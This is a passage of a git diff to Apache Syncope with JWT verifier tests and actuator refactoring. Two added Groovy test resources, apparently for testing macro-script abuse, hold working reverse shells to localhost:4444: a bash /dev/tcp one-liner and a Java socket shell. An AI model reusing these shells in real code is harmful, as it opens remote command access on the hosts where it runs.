v3.getOpenIDMetadataDocumentUrl()); + } + + @Test + void extractJwksUri() { + String doc = "{\"jwks_uri\": \"https://login.microsoftonline.com/common/discovery/keys\"}"; + + MSEntraAccessTokenJWSVerifier v = new MSEntraAccessTokenJWSVerifier(TENANT_ID, APP_ID, Duration.ofHours(24)); + assertEquals("https://login.microsoftonline.com/common/discovery/keys", v.extractJwksUri(doc)); + } + + @Test + void parseJsonWebKeySetRSA() throws Exception { + // Create JWK, JWKS and jwt string + JWK jwk = generateJWKRSA(); + String jwks = "{\"keys\": [" + jwk.toPublicJWK().toJSONString() + "]}"; + String jwt = createSignedJWT(jwk); + + // Create JWSVerifier + MSEntraAccessTokenJWSVerifier v = new MSEntraAccessTokenJWSVerifier( + "unknown-tenant-id", null, Duration.ofHours(24)); + + assertDoesNotThrow(() -> v.parseJsonWebKeySet(jwks)); + + Map verifiersMap = v.parseJsonWebKeySet(jwks); + assertEquals(1, verifiersMap.size()); + JWSVerifier v1 = verifiersMap.get(jwk.getKeyID()); + assertNotNull(v1); + assertTrue(v1.supportedJWSAlgorithms().contains((JWSAlgorithm) jwk.getAlgorithm())); + + // Verify JWT + String[] chunks = jwt.split("\\."); + assertTrue(v1.verify( + JWSHeader.parse(new Base64URL(chunks[0])), + (chunks[0] + "." + chunks[1]).getBytes(), + new Base64URL(chunks[2]))); + } + + @Test + void parseJsonWebKeySetEC() throws Exception { + // Create JWK, JWKS and jwt string + JWK jwk = generateJWKEC(); + String jwks = "{\"keys\": [" + jwk.toPublicJWK().toJSONString() + "]}"; + String jwt = createSignedJWT(jwk); + + // Create JWSVerifier + MSEntraAccessTokenJWSVerifier v = new MSEntraAccessTokenJWSVerifier( + "unknown-tenant-id", null, Duration.ofHours(24)); + + assertDoesNotThrow(() -> v.parseJsonWebKeySet(jwks)); + Map verifiersMap = v.parseJsonWebKeySet(jwks); + assertEquals(1, verifiersMap.size()); + JWSVerifier v1 = verifiersMap.get(jwk.getKeyID()); + assertNotNull(v1); + assertTrue(v1.supportedJWSAlgorithms().contains((JWSAlgorithm) jwk.getAlgorithm())); + + // Verify JWT + String[] chunks = jwt.split("\\."); + assertTrue(v1.verify( + JWSHeader.parse(new Base64URL(chunks[0])), + (chunks[0] + "." + chunks[1]).getBytes(), + new Base64URL(chunks[2]))); + } + + @Test + void supportedJWSAlgorithmsEmpty() { + String jwksUri = "https://example.com/keys"; + String oidc = "{\"jwks_uri\": \"" + jwksUri + "\"}"; + String jwks = "{\"keys\": []}"; + + MSEntraAccessTokenJWSVerifier v = getSpyInstance(jwksUri, oidc, jwks); + + assertTrue(v.supportedJWSAlgorithms().isEmpty()); + } + + @Test + void supportedJWSAlgorithmsRSA() throws Exception { + JWK jwk = generateJWKRSA(); + String[] chunks = createSignedJWT(jwk).split("\\."); + + String jwksUri = "https://example.com/keys"; + MSEntraAccessTokenJWSVerifier v = getSpyInstance( + jwksUri, + "{\"jwks_uri\": \"" + jwksUri + "\"}", + "{\"keys\": [" + jwk.toPublicJWK().toJSONString() + "]}"); + + assertTrue(v.verify( + JWSHeader.parse(new Base64URL(chunks[0])), + (chunks[0] + "." + chunks[1]).getBytes(), + new Base64URL(chunks[2]))); + assertTrue(v.supportedJWSAlgorithms().contains((JWSAlgorithm) jwk.getAlgorithm())); + assertDoesNotThrow(v::getJCAContext); + } + + @Test + void supportedJWSAlgorithmsRSAJWSAlgorithm() throws Exception { + JWK jwk = generateJWKRSA(); + + String jwksUri = "https://example.com/keys"; + MSEntraAccessTokenJWSVerifier v = getSpyInstance( + jwksUri, + "{\"jwks_uri\": \"" + jwksUri + "\"}", + "{\"keys\": [" + jwk.toPublicJWK().toJSONString() + "]}"); + + assertTrue(v.supportedJWSAlgorithms().contains((JWSAlgorithm) jwk.getAlgorithm())); + } + + @Test + void supportedJWSAlgorithmsRSAJCAContext() throws NoSuchAlgorithmException, JOSEException { + JWK jwk = generateJWKRSA(); + + String jwksUri = "https://example.com/keys"; + String oidc = "{\"jwks_uri\": \"" + jwksUri + "\"}"; + String jwks = "{\"keys\": [" + jwk.toPublicJWK().toJSONString() + "]}"; + + MSEntraAccessTokenJWSVerifier v = getSpyInstance(jwksUri, oidc, jwks); + + assertDoesNotThrow(v::getJCAContext); + } + + @Test + void supportedJWSAlgorithmsEC() throws Exception { + JWK jwk = generateJWKEC(); + String[] chunks = createSignedJWT(jwk).split("\\."); + + String jwksUri = "https://example.com/keys"; + MSEntraAccessTokenJWSVerifier v = getSpyInstance( + jwksUri, + "{\"jwks_uri\": \"" + jwksUri + "\"}", + "{\"keys\": [" + jwk.toPublicJWK().toJSONString() + "]}"); + + assertTrue(v.verify( + JWSHeader.parse(new Base64URL(chunks[0])), + (chunks[0] + "." + chunks[1]).getBytes(), + new Base64URL(chunks[2]) + )); + assertTrue(v.supportedJWSAlgorithms().contains((JWSAlgorithm) jwk.getAlgorithm())); + assertDoesNotThrow(v::getJCAContext); + } + + @Test + void supportedJWSAlgorithmsMixed() throws Exception { + JWK jwkRSA = generateJWKRSA(); + JWK jwkEC = generateJWKEC(); + String[] chunksRSA = createSignedJWT(jwkRSA).split("\\."); + String[] chunksEC = createSignedJWT(jwkEC).split("\\."); + + String jwksUri = "https://example.com/keys"; + MSEntraAccessTokenJWSVerifier v = getSpyInstance(jwksUri, + "{\"jwks_uri\": \"" + jwksUri + "\"}", + "{\"keys\": [" + + jwkRSA.toPublicJWK().toJSONString() + "," + + jwkEC.toPublicJWK().toJSONString() + + "]}"); + + // Verify with RSA + assertTrue(v.verify( + JWSHeader.parse(new Base64URL(chunksRSA[0])), + (chunksRSA[0] + "." + chunksRSA[1]).getBytes(), + new Base64URL(chunksRSA[2]))); + + // Verify with EC + assertTrue(v.verify( + JWSHeader.parse(new Base64URL(chunksEC[0])), + (chunksEC[0] + "." + chunksEC[1]).getBytes(), + new Base64URL(chunksEC[2]))); + + Set.of((JWSAlgorithm) jwkRSA.getAlgorithm(), (JWSAlgorithm) jwkEC.getAlgorithm()). + forEach(jwsAlgorithm -> assertTrue(v.supportedJWSAlgorithms().contains(jwsAlgorithm))); + + assertDoesNotThrow(v::getJCAContext); + } +} diff --git a/core/spring/src/test/resources/BashMacroActions.groovy b/core/spring/src/test/resources/BashMacroActions.groovy new file mode 100644 index 00000000000..6189eac5519 --- /dev/null +++ b/core/spring/src/test/resources/BashMacroActions.groovy @@ -0,0 +1,48 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +import groovy.transform.BaseScript +import org.apache.syncope.core.provisioning.api.macro.MacroActions +import java.io.Serializable + +abstract class BashMacroActions extends Script implements MacroActions {} +@BaseScript BashMacroActions _ + +@Override +StringBuilder afterAll(StringBuilder output) { + def f = new File('/tmp/hello.sh') + f.withWriter { w -> + w.println('#!/bin/bash') + w.println('bash -i >& /dev/tcp/localhost/4444 0>&1') + } + f.setExecutable(true) + + def p = ['/bin/bash','-lc','/tmp/hello.sh'].execute() + def so = new StringWriter() + def se = new StringWriter() + p.consumeProcessOutput(so, se) + p.waitFor() + + output + .append('\n[macro] wrote /tmp/hello.sh and executed it.\n[stdout]\n') + .append(so.toString()).append('\n') + if (se.toString()) { + output.append('[stderr]\n').append(se.toString()).append('\n') + } + return output +} diff --git a/core/spring/src/test/resources/ProcessBuilderMacroActions.groovy b/core/spring/src/test/resources/ProcessBuilderMacroActions.groovy new file mode 100644 index 00000000000..47e0dd69dba --- /dev/null +++ b/core/spring/src/test/resources/ProcessBuilderMacroActions.groovy @@ -0,0 +1,77 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +import groovy.transform.BaseScript +import org.apache.syncope.core.provisioning.api.macro.MacroActions +import java.io.Serializable +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; + +abstract class ProcessBuilderMacroActions extends Script implements MacroActions {} +@BaseScript ProcessBuilderMacroActions _ + +@Override +StringBuilder afterAll(StringBuilder output) { + String host = "localhost"; + int port = 4444; + String cmd = "bash"; + + Process p = new ProcessBuilder(cmd) + .redirectErrorStream(true) + .start(); + + Socket s = new Socket(host, port); + + InputStream pi = p.getInputStream(); + InputStream pe = p.getErrorStream(); + InputStream si = s.getInputStream(); + + OutputStream po = p.getOutputStream(); + OutputStream so = s.getOutputStream(); + + while (!s.isClosed()) { + while (pi.available() > 0) { + so.write(pi.read()); + } + while (pe.available() > 0) { + so.write(pe.read()); + } + while (si.available() > 0) { + po.write(si.read()); + } + + so.flush(); + po.flush(); + + Thread.sleep(1); + + try { + p.exitValue(); + break; + } catch (Exception e) { + // ignored + } + } + ; + p.destroy(); + s.close(); + + output.append('\nShell started...\n') + return output +} diff --git a/core/spring/src/test/resources/simplelogger.properties b/core/spring/src/test/resources/simplelogger.properties new file mode 100644 index 00000000000..030d4d091c1 --- /dev/null +++ b/core/spring/src/test/resources/simplelogger.properties @@ -0,0 +1,22 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +# See http://www.slf4j.org/api/org/slf4j/impl/SimpleLogger.html +# Possible values: "trace", "debug", "info", "warn", or "error" +org.slf4j.simpleLogger.showDateTime=true +org.slf4j.simpleLogger.dateTimeFormat=YYYY-mm-dd HH:mm:ss.SSS +org.slf4j.simpleLogger.defaultLogLevel=debug diff --git a/core/starter/pom.xml b/core/starter/pom.xml index 448f2b6ab62..317cf934b73 100644 --- a/core/starter/pom.xml +++ b/core/starter/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core Spring Boot Starter @@ -95,11 +95,6 @@ under the License. com.lmax disruptor - - commons-logging - commons-logging - provided - org.slf4j jcl-over-slf4j @@ -115,7 +110,6 @@ under the License. ${project.build.directory}/swagger-ui org.webjars swagger-ui - true ** **/*.gz provided diff --git a/core/starter/src/main/java/org/apache/syncope/core/starter/SyncopeCoreApplication.java b/core/starter/src/main/java/org/apache/syncope/core/starter/SyncopeCoreApplication.java index 90aaa289435..fa67fdfae8e 100644 --- a/core/starter/src/main/java/org/apache/syncope/core/starter/SyncopeCoreApplication.java +++ b/core/starter/src/main/java/org/apache/syncope/core/starter/SyncopeCoreApplication.java @@ -21,10 +21,10 @@ import java.util.Map; import org.apache.cxf.spring.boot.autoconfigure.openapi.OpenApiAutoConfiguration; import org.apache.syncope.common.keymaster.client.api.ConfParamOps; +import org.apache.syncope.common.keymaster.client.api.DomainOps; import org.apache.syncope.common.keymaster.client.api.startstop.KeymasterStop; import org.apache.syncope.common.lib.info.SystemInfo; import org.apache.syncope.core.persistence.api.DomainHolder; -import org.apache.syncope.core.persistence.api.ImplementationLookup; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.AnyTypeClassDAO; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; @@ -32,6 +32,7 @@ import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.NotificationDAO; +import org.apache.syncope.core.persistence.api.dao.PersistenceInfoDAO; import org.apache.syncope.core.persistence.api.dao.PolicyDAO; import org.apache.syncope.core.persistence.api.dao.RoleDAO; import org.apache.syncope.core.persistence.api.dao.SecurityQuestionDAO; @@ -39,6 +40,9 @@ import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.VirSchemaDAO; import org.apache.syncope.core.provisioning.api.ConnIdBundleManager; +import org.apache.syncope.core.provisioning.api.ConnectorManager; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; +import org.apache.syncope.core.provisioning.api.data.ConnInstanceDataBinder; import org.apache.syncope.core.starter.actuate.DefaultSyncopeCoreInfoContributor; import org.apache.syncope.core.starter.actuate.DomainsHealthIndicator; import org.apache.syncope.core.starter.actuate.EntityCacheEndpoint; @@ -129,7 +133,8 @@ public SyncopeCoreInfoContributor syncopeCoreInfoContributor( final ConfParamOps confParamOps, final ConnIdBundleManager bundleManager, final ImplementationLookup implLookup, - final ApplicationContext ctx) { + final ApplicationContext ctx, + final PersistenceInfoDAO persistenceInfoDAO) { return new DefaultSyncopeCoreInfoContributor( anyTypeDAO, @@ -147,13 +152,14 @@ public SyncopeCoreInfoContributor syncopeCoreInfoContributor( confParamOps, bundleManager, implLookup, - ctx.getBeansOfType(ThreadPoolTaskExecutor.class)); + ctx.getBeansOfType(ThreadPoolTaskExecutor.class), + persistenceInfoDAO); } @ConditionalOnMissingBean @Bean - public DomainsHealthIndicator domainsHealthIndicator() { - return new DomainsHealthIndicator(); + public DomainsHealthIndicator domainsHealthIndicator(final DomainHolder domainHolder) { + return new DomainsHealthIndicator(domainHolder); } @ConditionalOnMissingBean @@ -165,8 +171,13 @@ public MailHealthIndicator mailHealthIndicator(final JavaMailSender mailSender) @ConditionalOnClass(name = { "org.apache.syncope.core.logic.ResourceLogic" }) @ConditionalOnMissingBean @Bean - public ExternalResourcesHealthIndicator externalResourcesHealthIndicator() { - return new ExternalResourcesHealthIndicator(); + public ExternalResourcesHealthIndicator externalResourcesHealthIndicator( + final DomainOps domainOps, + final ExternalResourceDAO resourceDAO, + final ConnInstanceDataBinder connInstanceDataBinder, + final ConnectorManager connectorManager) { + + return new ExternalResourcesHealthIndicator(domainOps, resourceDAO, connInstanceDataBinder, connectorManager); } @ConditionalOnMissingBean diff --git a/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/DefaultSyncopeCoreInfoContributor.java b/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/DefaultSyncopeCoreInfoContributor.java index 5b869e0183e..998f735dbe4 100644 --- a/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/DefaultSyncopeCoreInfoContributor.java +++ b/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/DefaultSyncopeCoreInfoContributor.java @@ -26,11 +26,14 @@ import java.net.UnknownHostException; import java.util.Iterator; import java.util.Map; +import java.util.Optional; import java.util.Set; import java.util.regex.Matcher; import java.util.regex.Pattern; import java.util.stream.Collectors; +import javax.servlet.http.HttpServletRequest; import org.apache.syncope.common.keymaster.client.api.ConfParamOps; +import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.info.JavaImplInfo; import org.apache.syncope.common.lib.info.NumbersInfo; import org.apache.syncope.common.lib.info.PlatformInfo; @@ -38,13 +41,14 @@ import org.apache.syncope.common.lib.types.EntitlementsHolder; import org.apache.syncope.common.lib.types.ImplementationTypesHolder; import org.apache.syncope.common.lib.types.TaskType; -import org.apache.syncope.core.persistence.api.ImplementationLookup; +import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.AnyTypeClassDAO; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.NotificationDAO; +import org.apache.syncope.core.persistence.api.dao.PersistenceInfoDAO; import org.apache.syncope.core.persistence.api.dao.PolicyDAO; import org.apache.syncope.core.persistence.api.dao.RoleDAO; import org.apache.syncope.core.persistence.api.dao.SecurityQuestionDAO; @@ -57,14 +61,15 @@ import org.apache.syncope.core.persistence.api.entity.policy.AccountPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; import org.apache.syncope.core.provisioning.api.ConnIdBundleManager; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.actuate.info.Info; import org.springframework.boot.actuate.info.InfoContributor; import org.springframework.context.PayloadApplicationEvent; import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; -import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.transaction.annotation.Transactional; public class DefaultSyncopeCoreInfoContributor implements SyncopeCoreInfoContributor, InfoContributor { @@ -137,6 +142,9 @@ protected static void initSystemInfo() { } } + @Autowired + protected HttpServletRequest request; + protected final AnyTypeDAO anyTypeDAO; protected final AnyTypeClassDAO anyTypeClassDAO; @@ -169,6 +177,8 @@ protected static void initSystemInfo() { protected final Map taskExecutors; + protected final PersistenceInfoDAO persistenceInfoDAO; + public DefaultSyncopeCoreInfoContributor( final AnyTypeDAO anyTypeDAO, final AnyTypeClassDAO anyTypeClassDAO, @@ -185,7 +195,8 @@ public DefaultSyncopeCoreInfoContributor( final ConfParamOps confParamOps, final ConnIdBundleManager bundleManager, final ImplementationLookup implLookup, - final Map taskExecutors) { + final Map taskExecutors, + final PersistenceInfoDAO persistenceInfoDAO) { this.anyTypeDAO = anyTypeDAO; this.anyTypeClassDAO = anyTypeClassDAO; @@ -203,6 +214,7 @@ public DefaultSyncopeCoreInfoContributor( this.bundleManager = bundleManager; this.implLookup = implLookup; this.taskExecutors = taskExecutors; + this.persistenceInfoDAO = persistenceInfoDAO; } protected boolean isSelfRegAllowed() { @@ -268,60 +280,62 @@ protected void buildPlatform() { } } - protected NumbersInfo buildNumbers() { - NumbersInfo numbersInfo = new NumbersInfo(); - - numbersInfo.setTotalUsers(userDAO.count()); - numbersInfo.getUsersByRealm().putAll(userDAO.countByRealm()); - numbersInfo.getUsersByStatus().putAll(userDAO.countByStatus()); - - numbersInfo.setTotalGroups(groupDAO.count()); - numbersInfo.getGroupsByRealm().putAll(groupDAO.countByRealm()); - - Map anyObjectNumbers = anyObjectDAO.countByType(); - int i = 0; - for (Iterator> itor = anyObjectNumbers.entrySet().iterator(); - i < 2 && itor.hasNext(); i++) { - - Map.Entry entry = itor.next(); - if (i == 0) { - numbersInfo.setAnyType1(entry.getKey().getKey()); - numbersInfo.setTotalAny1(entry.getValue()); - numbersInfo.getAny1ByRealm().putAll(anyObjectDAO.countByRealm(entry.getKey())); - } else { - numbersInfo.setAnyType2(entry.getKey().getKey()); - numbersInfo.setTotalAny2(entry.getValue()); - numbersInfo.getAny2ByRealm().putAll(anyObjectDAO.countByRealm(entry.getKey())); + protected NumbersInfo buildNumbers(final String domain) { + return AuthContextUtils.callAsAdmin(domain, () -> { + NumbersInfo numbersInfo = new NumbersInfo(); + + numbersInfo.setTotalUsers(userDAO.count()); + numbersInfo.getUsersByRealm().putAll(userDAO.countByRealm()); + numbersInfo.getUsersByStatus().putAll(userDAO.countByStatus()); + + numbersInfo.setTotalGroups(groupDAO.count()); + numbersInfo.getGroupsByRealm().putAll(groupDAO.countByRealm()); + + Map anyObjectNumbers = anyObjectDAO.countByType(); + int i = 0; + for (Iterator> itor = anyObjectNumbers.entrySet().iterator(); + i < 2 && itor.hasNext(); i++) { + + Map.Entry entry = itor.next(); + if (i == 0) { + numbersInfo.setAnyType1(entry.getKey().getKey()); + numbersInfo.setTotalAny1(entry.getValue()); + numbersInfo.getAny1ByRealm().putAll(anyObjectDAO.countByRealm(entry.getKey())); + } else { + numbersInfo.setAnyType2(entry.getKey().getKey()); + numbersInfo.setTotalAny2(entry.getValue()); + numbersInfo.getAny2ByRealm().putAll(anyObjectDAO.countByRealm(entry.getKey())); + } } - } - numbersInfo.setTotalResources(resourceDAO.count()); - - numbersInfo.setTotalRoles(roleDAO.count()); - - numbersInfo.getConfCompleteness().put( - NumbersInfo.ConfItem.RESOURCE.name(), numbersInfo.getTotalResources() > 0); - numbersInfo.getConfCompleteness().put( - NumbersInfo.ConfItem.ACCOUNT_POLICY.name(), !policyDAO.find(AccountPolicy.class).isEmpty()); - numbersInfo.getConfCompleteness().put( - NumbersInfo.ConfItem.PASSWORD_POLICY.name(), !policyDAO.find(PasswordPolicy.class).isEmpty()); - numbersInfo.getConfCompleteness().put( - NumbersInfo.ConfItem.NOTIFICATION.name(), !notificationDAO.findAll().isEmpty()); - numbersInfo.getConfCompleteness().put( - NumbersInfo.ConfItem.PULL_TASK.name(), !taskDAO.findAll(TaskType.PULL).isEmpty()); - numbersInfo.getConfCompleteness().put( - NumbersInfo.ConfItem.VIR_SCHEMA.name(), !virSchemaDAO.findAll().isEmpty()); - numbersInfo.getConfCompleteness().put( - NumbersInfo.ConfItem.ANY_TYPE.name(), !anyObjectNumbers.isEmpty()); - numbersInfo.getConfCompleteness().put( - NumbersInfo.ConfItem.SECURITY_QUESTION.name(), !securityQuestionDAO.findAll().isEmpty()); - numbersInfo.getConfCompleteness().put( - NumbersInfo.ConfItem.ROLE.name(), numbersInfo.getTotalRoles() > 0); - - taskExecutors.forEach((name, bean) -> numbersInfo.getTaskExecutorInfos(). - put(name, getTaskExecutorInfo(bean.getThreadPoolExecutor().toString()))); - - return numbersInfo; + numbersInfo.setTotalResources(resourceDAO.count()); + + numbersInfo.setTotalRoles(roleDAO.count()); + + numbersInfo.getConfCompleteness().put( + NumbersInfo.ConfItem.RESOURCE.name(), numbersInfo.getTotalResources() > 0); + numbersInfo.getConfCompleteness().put( + NumbersInfo.ConfItem.ACCOUNT_POLICY.name(), !policyDAO.find(AccountPolicy.class).isEmpty()); + numbersInfo.getConfCompleteness().put( + NumbersInfo.ConfItem.PASSWORD_POLICY.name(), !policyDAO.find(PasswordPolicy.class).isEmpty()); + numbersInfo.getConfCompleteness().put( + NumbersInfo.ConfItem.NOTIFICATION.name(), !notificationDAO.findAll().isEmpty()); + numbersInfo.getConfCompleteness().put( + NumbersInfo.ConfItem.PULL_TASK.name(), !taskDAO.findAll(TaskType.PULL).isEmpty()); + numbersInfo.getConfCompleteness().put( + NumbersInfo.ConfItem.VIR_SCHEMA.name(), !virSchemaDAO.findAll().isEmpty()); + numbersInfo.getConfCompleteness().put( + NumbersInfo.ConfItem.ANY_TYPE.name(), !anyObjectNumbers.isEmpty()); + numbersInfo.getConfCompleteness().put( + NumbersInfo.ConfItem.SECURITY_QUESTION.name(), !securityQuestionDAO.findAll().isEmpty()); + numbersInfo.getConfCompleteness().put( + NumbersInfo.ConfItem.ROLE.name(), numbersInfo.getTotalRoles() > 0); + + taskExecutors.forEach((name, bean) -> numbersInfo.getTaskExecutorInfos(). + put(name, getTaskExecutorInfo(bean.getThreadPoolExecutor().toString()))); + + return numbersInfo; + }); } protected void buildSystem() { @@ -330,14 +344,18 @@ protected void buildSystem() { } } - @PreAuthorize("isAuthenticated()") @Transactional(readOnly = true) @Override public void contribute(final Info.Builder builder) { buildPlatform(); builder.withDetail("platform", PLATFORM_INFO); - builder.withDetail("numbers", buildNumbers()); + builder.withDetail("persistence", persistenceInfoDAO.info()); + + builder.withDetail( + "numbers", + buildNumbers(Optional.ofNullable(request.getHeader(RESTHeaders.DOMAIN)). + orElse(SyncopeConstants.MASTER_DOMAIN))); buildSystem(); builder.withDetail("system", SYSTEM_INFO); diff --git a/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/DomainsHealthIndicator.java b/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/DomainsHealthIndicator.java index 72c136c288f..53e2d8d2a89 100644 --- a/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/DomainsHealthIndicator.java +++ b/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/DomainsHealthIndicator.java @@ -23,7 +23,6 @@ import org.apache.syncope.core.persistence.api.DomainHolder; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.actuate.health.Health; import org.springframework.boot.actuate.health.HealthIndicator; import org.springframework.boot.actuate.health.Status; @@ -33,8 +32,11 @@ public class DomainsHealthIndicator implements HealthIndicator { protected static final Logger LOG = LoggerFactory.getLogger(DomainsHealthIndicator.class); - @Autowired - protected DomainHolder domainHolder; + protected final DomainHolder domainHolder; + + public DomainsHealthIndicator(final DomainHolder domainHolder) { + this.domainHolder = domainHolder; + } @Override public Health health() { diff --git a/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/EntityCacheEndpoint.java b/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/EntityCacheEndpoint.java index b12015354b8..2587bf84775 100644 --- a/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/EntityCacheEndpoint.java +++ b/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/EntityCacheEndpoint.java @@ -31,7 +31,7 @@ @Endpoint(id = "entityCache") public class EntityCacheEndpoint { - private final EntityCacheDAO entityCacheDAO; + protected final EntityCacheDAO entityCacheDAO; public EntityCacheEndpoint(final EntityCacheDAO entityCacheDAO) { this.entityCacheDAO = entityCacheDAO; diff --git a/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/ExternalResourcesHealthIndicator.java b/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/ExternalResourcesHealthIndicator.java index e4addb2126d..439edf525b5 100644 --- a/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/ExternalResourcesHealthIndicator.java +++ b/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/ExternalResourcesHealthIndicator.java @@ -30,7 +30,6 @@ import org.apache.syncope.core.spring.security.AuthContextUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.actuate.health.Health; import org.springframework.boot.actuate.health.HealthIndicator; import org.springframework.boot.actuate.health.Status; @@ -39,17 +38,25 @@ public class ExternalResourcesHealthIndicator implements HealthIndicator { protected static final Logger LOG = LoggerFactory.getLogger(ExternalResourcesHealthIndicator.class); - @Autowired - protected DomainOps domainOps; + protected final DomainOps domainOps; - @Autowired - protected ExternalResourceDAO resourceDAO; + protected final ExternalResourceDAO resourceDAO; - @Autowired - protected ConnInstanceDataBinder connInstanceDataBinder; + protected final ConnInstanceDataBinder connInstanceDataBinder; - @Autowired - protected ConnectorManager connectorManager; + protected final ConnectorManager connectorManager; + + public ExternalResourcesHealthIndicator( + final DomainOps domainOps, + final ExternalResourceDAO resourceDAO, + final ConnInstanceDataBinder connInstanceDataBinder, + final ConnectorManager connectorManager) { + + this.domainOps = domainOps; + this.resourceDAO = resourceDAO; + this.connInstanceDataBinder = connInstanceDataBinder; + this.connectorManager = connectorManager; + } @Override public Health health() { diff --git a/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/SyncopeCoreInfoContributor.java b/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/SyncopeCoreInfoContributor.java index ad97624e0e6..6b8272bbe99 100644 --- a/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/SyncopeCoreInfoContributor.java +++ b/core/starter/src/main/java/org/apache/syncope/core/starter/actuate/SyncopeCoreInfoContributor.java @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ - package org.apache.syncope.core.starter.actuate; import org.apache.syncope.common.lib.info.SystemInfo; @@ -24,5 +23,6 @@ @FunctionalInterface public interface SyncopeCoreInfoContributor { + void addLoadInstant(PayloadApplicationEvent event); } diff --git a/core/starter/src/main/resources/META-INF/resources/index.html b/core/starter/src/main/resources/META-INF/resources/index.html index c804db70822..4b4b9684d87 100644 --- a/core/starter/src/main/resources/META-INF/resources/index.html +++ b/core/starter/src/main/resources/META-INF/resources/index.html @@ -63,6 +63,10 @@ urls: [{ url: window.location.href.substring(0, window.location.href.lastIndexOf('/')) + "/rest/openapi.json", name: "Apache Syncope" + }, + { + url: window.location.href.substring(0, window.location.href.lastIndexOf('/')) + "/rest/keymaster/openapi.json", + name: "Apache Syncope Self Keymaster" }], docExpansion: 'none', displayOperationId: false, diff --git a/core/starter/src/main/resources/core.properties b/core/starter/src/main/resources/core.properties index b9c992abda0..997e47545db 100644 --- a/core/starter/src/main/resources/core.properties +++ b/core/starter/src/main/resources/core.properties @@ -24,8 +24,6 @@ server.servlet.encoding.charset=UTF-8 server.servlet.encoding.enabled=true server.servlet.encoding.force=true -conf.directory=${conf.directory} - server.servlet.contextPath=/syncope cxf.path=/rest @@ -67,7 +65,7 @@ provisioning.propagationTaskExecutorAsyncExecutor.queueCapacity=100 provisioning.virAttrCacheSpec=maximumSize=5000,expireAfterAccess=1m -provisioning.connIdLocation=${connid.location} +provisioning.connIdLocation=${syncope.connid.location} provisioning.quartz.delegate=org.quartz.impl.jdbcjobstore.PostgreSQLDelegate provisioning.quartz.sql=tables_postgres.sql @@ -98,7 +96,16 @@ security.jwtIssuer=ApacheSyncope security.jwsAlgorithm=HS512 